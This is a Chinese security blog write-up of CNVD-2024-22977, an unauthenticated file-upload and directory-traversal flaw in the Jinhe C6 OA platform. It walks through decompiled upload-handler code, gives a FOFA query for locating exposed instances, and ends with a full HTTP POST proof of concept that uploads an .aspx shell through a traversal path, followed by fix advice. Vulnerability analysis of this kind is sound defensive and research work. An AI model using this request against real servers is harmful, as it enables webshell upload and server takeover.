问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CNVD-2024-22977 金和C6协同管理平台文件上传漏洞
渗透测试
北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。
一、漏洞简介 ------ 北京金和网络股份有限公司是一家领先的互联网及移动互联网技术供应商、服务商。 北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。 二、影响版本 ------ 金和OA-C6的所有已知版本,在未进行安全修复/安装补丁前均可能受到影响。 三、漏洞分析 ------ 在金和C6协同管理平台中,默认会在部署的根目录文件夹的FileUpload文件夹下存在`upload.ashx`方法,方便文件上传时调用  查看下`upload.ashx`源码,对应的Class类方法是`Fileupload`类下的`upload`方法 反编译`Fileupload.dll`,查看并找到下面的`upload`方法,如下图  代码如下,此处传参`folder`、`encrypt`和`type`参数,`folder`指定保存目录,`encrypt`指定文件内容是否加密,`type`为类型默认为multi。之后进入保存文件方法`SaveFileToServer` ```xml public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; context.Response.Charset = "gb2312"; string strFolder = "Slaves"; if (context.Request["folder"] != null) { strFolder = context.Request["folder"].ToString(); } string encrpyt = "true"; if (context.Request["encrpyt"] != null) { encrpyt = context.Request["encrpyt"].ToString(); } string type = "multi"; if (context.Request["type"] != null) { type = context.Request["type"].ToString(); } if (context.Request.Files.Count == 0 || string.IsNullOrWhiteSpace(context.Request.Files[0].FileName)) { this.WriteLog(string.Concat(new object[] { "Files.Count:", context.Request.Files.Count, "$$FileName:", context.Request.Files[0].FileName }), this.logName); } else { try { this.SaveFileToServer(context, strFolder, encrpyt, type); } catch (Exception ex) { context.Response.Write("SaveFileToServer ERROR:" + ex.Message); this.WriteLog("SaveFileToServer ERROR:" + ex.Message, this.logName); } } ``` 追踪`SaveFileToServer`方法,代码如下  ```xml private void SaveFileToServer(HttpContext context, string strFolder, string encrpyt, string type) { if (strFolder == "fceformext") { strFolder = "fceformext/res"; } string text = "../Resource/" + strFolder + "/"; HttpPostedFile httpPostedFile = context.Request.Files[0]; string contentType = httpPostedFile.ContentType; int contentLength = httpPostedFile.ContentLength; string text2 = text; string fileName = Path.GetFileName(httpPostedFile.FileName); string extension = Path.GetExtension(fileName); text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2); bool flag = false; if (context.Request["ie9"] == null) { flag = this.isImage(extension); } if (!Directory.Exists(text2)) { context.Response.Write("ERROR:The uploaded folder could not be found"); } else { text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\"; string text3 = Document.GetFileName("") + extension; if (encrpyt != "true" || flag) { text3 = text3.Replace("__", ""); } try { Stream stream = httpPostedFile.InputStream; string text4 = Path.Combine(text2, text3); string arg = ""; if (!File.Exists(text4)) { if (flag) { ImageThumbnail imageThumbnail = new ImageThumbnail(stream); imageThumbnail.ReduceImage(text4, 40); imageThumbnail.ResourceImage.Dispose(); } else { using (FileStream fileStream = new FileStream(text4, FileMode.CreateNew, FileAccess.Write)) { byte[] array = new byte[(int)stream.Length]; stream.Read(array, 0, array.Length); stream.Dispose(); stream.Close(); byte[] buffer = array; if (encrpyt == "true") { buffer = this.EncryptByte(array); } stream = new MemoryStream(buffer); int num = 4096; long length = stream.Length; long num2 = 0L; while (num2 < length) { byte[] array2; if (length - num2 >= (long)num) { array2 = new byte[num]; } else { array2 = new byte[length - num2]; } stream.Read(array2, 0, array2.Length); fileStream.Write(array2, 0, array2.Length); num2 += (long)array2.Length; if (type == "single") { long percent = num2 * 100L / length; upload.SendPercentToClient(percent); } } stream.Dispose(); stream.Close(); fileStream.Dispose(); fileStream.Close(); } } text2 = JHSoft.Web.CustomQuery.Upload.GetFileRelativeURLbyAbosolutePath(text2); string text5 = ""; if (!strFolder.ToLower().Contains("fceformext")) { text5 = UploadFile.SaveFile(text2 + text3, fileName, contentType, contentLength); } arg = string.Concat(new string[] { text5, "|", fileName, "|", text2, text3, "|", new Page().EncryptString(text5) }); } context.Response.Write(string.Format("{0}", arg)); } catch (Exception ex) { context.Response.Write("ERROR:" + ex.Message); this.WriteLog("ERROR:" + ex.Message, this.logName); } } } ``` 代码很长,但是关键的代码只要看其中一段 `strFolder`为传入的保存目录,此处和`../Resource`拼接,未过滤字符串因此存在目录穿越。之后就是取上传文件的各种参数,再判断是否需要`encrypt`为true时候加密,保存目录是否存在。最后再是保存文件到指定目录中 ```php string text = "../Resource/" + strFolder + "/"; HttpPostedFile httpPostedFile = context.Request.Files[0]; string contentType = httpPostedFile.ContentType; int contentLength = httpPostedFile.ContentLength; string text2 = text; string fileName = Path.GetFileName(httpPostedFile.FileName); string extension = Path.GetExtension(fileName); text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2); bool flag = false; if (context.Request["ie9"] == null) { flag = this.isImage(extension); } if (!Directory.Exists(text2)) { context.Response.Write("ERROR:The uploaded folder could not be found"); } else { text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\"; string text3 = Document.GetFileName("") + extension; ``` 这里构造请求,不指定目录上传文件,可以看到文件被保存到`/Resource/`文件夹下面。这是保存资源的文件夹,无法在外部访问到  指定保存文件夹为能访问到的`/C6/`目录下面,继续请求,可以看到是能正常目录穿越保存的  最后就是访问上传的shell,验证连接shell文件成功(这里借助金和C6系统的未申请访问漏洞,在aspx文件末尾加上`/`即可访问)  四、总结 ---- 金和OA C6系统存在未授权的文件上传方法,利用该方法可上传恶意文件,再结合不需要权限验证就能访问文件的历史漏洞,就能组合获取服务器权限。 五、资产测绘 ------ FOFA语法 ```php app="金和网络-金和OA" ```  六、漏洞复现 ------ POC如下 ```php POST /C6/Fileupload/Upload.ashx HTTP/1.1 Host: Content-Type: multipart/form-data; boundary=---------------------------7d81b916a8ac8 -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="folder" \....\....\C6\common\ -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="encrpyt" false -----------------------------7d81b916a8ac8 Content-Disposition: form-data; name="file"; filename="3212.aspx" Content-Type: text/plain 文件内容 -----------------------------7d81b916a8ac8-- ```  七、漏洞修复建议 -------- 升级金和OA C6到最新版本,修改用于检查全局的`AcquireRequestState`的`EndsWith`方法,避免出现未授权访问;并对文件上传后缀进行白名单限制或是禁用`upload.ashx`方法。
发表于 2025-05-09 15:00:01
阅读 ( 108 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!